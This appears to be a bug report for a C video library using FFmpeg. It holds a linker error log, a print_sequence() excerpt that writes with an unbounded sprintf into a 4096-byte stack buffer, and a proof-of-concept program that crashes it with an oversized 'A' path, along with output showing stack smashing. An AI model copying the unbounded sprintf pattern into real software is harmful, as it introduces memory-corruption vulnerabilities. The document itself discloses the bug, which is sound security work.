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cc   bin/examples/ffmpeg/demuxing_decoding.o    -o bin/examples/ffmpeg/demuxing_decoding
Undefined symbols for architecture x86_64:
  "_av_dict_set", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_av_dump_format", referenced from:
      _main in demuxing_decoding.o
  "_av_find_best_stream", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_av_frame_alloc", referenced from:
      _main in demuxing_decoding.o
  "_av_frame_free", referenced from:
      _main in demuxing_decoding.o
  "_av_frame_unref", referenced from:
      _decode_packet in demuxing_decoding.o
  "_av_free", referenced from:
      _main in demuxing_decoding.o
  "_av_get_bytes_per_sample", referenced from:
      _decode_packet in demuxing_decoding.o
  "_av_get_media_type_string", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_av_get_packed_sample_fmt", referenced from:
      _main in demuxing_decoding.o
  "_av_get_pix_fmt_name", referenced from:
      _main in demuxing_decoding.o
      _decode_packet in demuxing_decoding.o
  "_av_get_sample_fmt_name", referenced from:
      _main in demuxing_decoding.o
      _get_format_from_sample_fmt in demuxing_decoding.o
  "_av_image_alloc", referenced from:
      _main in demuxing_decoding.o
  "_av_image_copy", referenced from:
      _decode_packet in demuxing_decoding.o
  "_av_init_packet", referenced from:
      _main in demuxing_decoding.o
  "_av_packet_unref", referenced from:
      _main in demuxing_decoding.o
  "_av_read_frame", referenced from:
      _main in demuxing_decoding.o
  "_av_sample_fmt_is_planar", referenced from:
      _main in demuxing_decoding.o
  "_av_seek_frame", referenced from:
      _main in demuxing_decoding.o
  "_av_strerror", referenced from:
      _av_make_error_string in demuxing_decoding.o
  "_avcodec_alloc_context3", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_avcodec_decode_audio4", referenced from:
      _decode_packet in demuxing_decoding.o
  "_avcodec_decode_video2", referenced from:
      _decode_packet in demuxing_decoding.o
  "_avcodec_find_decoder", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_avcodec_free_context", referenced from:
      _main in demuxing_decoding.o
  "_avcodec_open2", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_avcodec_parameters_to_context", referenced from:
      _open_codec_context in demuxing_decoding.o
  "_avformat_close_input", referenced from:
      _main in demuxing_decoding.o
  "_avformat_find_stream_info", referenced from:
      _main in demuxing_decoding.o
  "_avformat_open_input", referenced from:
      _main in demuxing_decoding.o
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make: *** [bin/examples/ffmpeg/demuxing_decoding] Error 1

/**
 * get sequence string
 * @param  seq Sequence to get data
 * @return     string allocated on heap, to be freed by caller
 */
char *print_sequence(Sequence *seq) {
    // (...)
    char buf[4096];
    // (...)

    for(int i = 0; currNode != NULL; i++) {

        // Here it is!!
        sprintf(buf, "Clip [%d]\nurl: %s\nstart_pts: %ld\nend_pts: %ld\norig_start_pts: %ld\norig_end_pts: %ld\nvid_ctx: %p\n",
                i, c->vid_ctx->url, c->start_pts, c->end_pts, c->orig_start_pts, c->orig_end_pts, c->vid_ctx);
    }
    return str;
}

/**
 * This is a proof of concept of a possible buffer overflow
 * in src/Sequence.c -> print_sequence() -> line: 567
 *
 * A buffer overflow can occur by trying to print a sequence
 * with a large enough path.
 *
 * In UNIX, the maximun size of a path is 4096 bytes, so in this
 * POC we still handle realistic sizes.
 */

#include "Timebase.h"
#include "Sequence.h"
#include "OutputContext.h"

int main(int argc, char **argv) {
    Sequence seq;
    init_sequence(&seq, 30, 48000);

    char *large_buffer = (char *)malloc(4096);
    for (uint64_t i = 0; i < 4096; i++){
      *(large_buffer+i) = 'A';
    }
    Clip *clip = malloc(sizeof(Clip));
    init_clip(clip, large_buffer);

    open_clip(clip);

    set_clip_bounds(clip, 53, 61);

    sequence_append_clip(&seq, clip);

    char *str = print_sequence(&seq);
    printf("Sequence:\n%s\n", str);
    free(str);
    str = NULL;


    free_sequence(&seq);
    return 0;
}

Could not open source file AAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
open_clip() error: Failed to open VideoContext for clip[AAAAAAAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
Video stream does not exist
sequence add clip [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA], start_pts: 0
Failed to get video time_base: clip[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] is not open
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)